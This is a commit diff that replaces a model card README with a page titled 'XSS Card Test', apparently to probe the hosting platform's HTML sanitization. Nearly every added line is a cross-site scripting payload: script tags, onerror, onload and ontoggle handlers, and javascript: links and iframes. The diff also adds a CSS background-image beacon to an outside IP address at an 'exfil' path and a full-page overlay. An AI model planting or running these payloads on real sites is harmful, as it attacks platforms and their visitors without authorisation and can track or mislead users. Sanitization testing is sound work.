Update model card
Browse files
README.md
CHANGED
|
@@ -1,7 +1,27 @@
|
|
| 1 |
---
|
| 2 |
-
license:
|
| 3 |
-
pipeline_tag: text-generation
|
| 4 |
-
gated: false
|
| 5 |
-
private: false
|
| 6 |
---
|
| 7 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
---
|
| 2 |
+
license: mit
|
|
|
|
|
|
|
|
|
|
| 3 |
---
|
| 4 |
+
|
| 5 |
+
# XSS Card Test
|
| 6 |
+
|
| 7 |
+
Testing sanitization in model card context.
|
| 8 |
+
|
| 9 |
+
<img src=x onerror=alert(1)>
|
| 10 |
+
|
| 11 |
+
<script>alert(document.domain)</script>
|
| 12 |
+
|
| 13 |
+
<div style="background-image:url(http://161.97.83.192:8888/card-exfil?v=1)">card-tracking</div>
|
| 14 |
+
|
| 15 |
+
<div style="position:absolute;top:0;left:0;width:100%;height:100%;background:red;z-index:9999;opacity:0.5">CARD OVERLAY</div>
|
| 16 |
+
|
| 17 |
+
<a href="javascript:alert(1)">card-js-link</a>
|
| 18 |
+
|
| 19 |
+
<svg onload=alert(1)>
|
| 20 |
+
|
| 21 |
+
<details open ontoggle=alert(1)><summary>card-details</summary></details>
|
| 22 |
+
|
| 23 |
+
<iframe src="javascript:alert(1)"></iframe>
|
| 24 |
+
|
| 25 |
+
[link](javascript:alert(1))
|
| 26 |
+
|
| 27 |
+
<p style="background:url(javascript:alert(1))">card-css-js</p>
|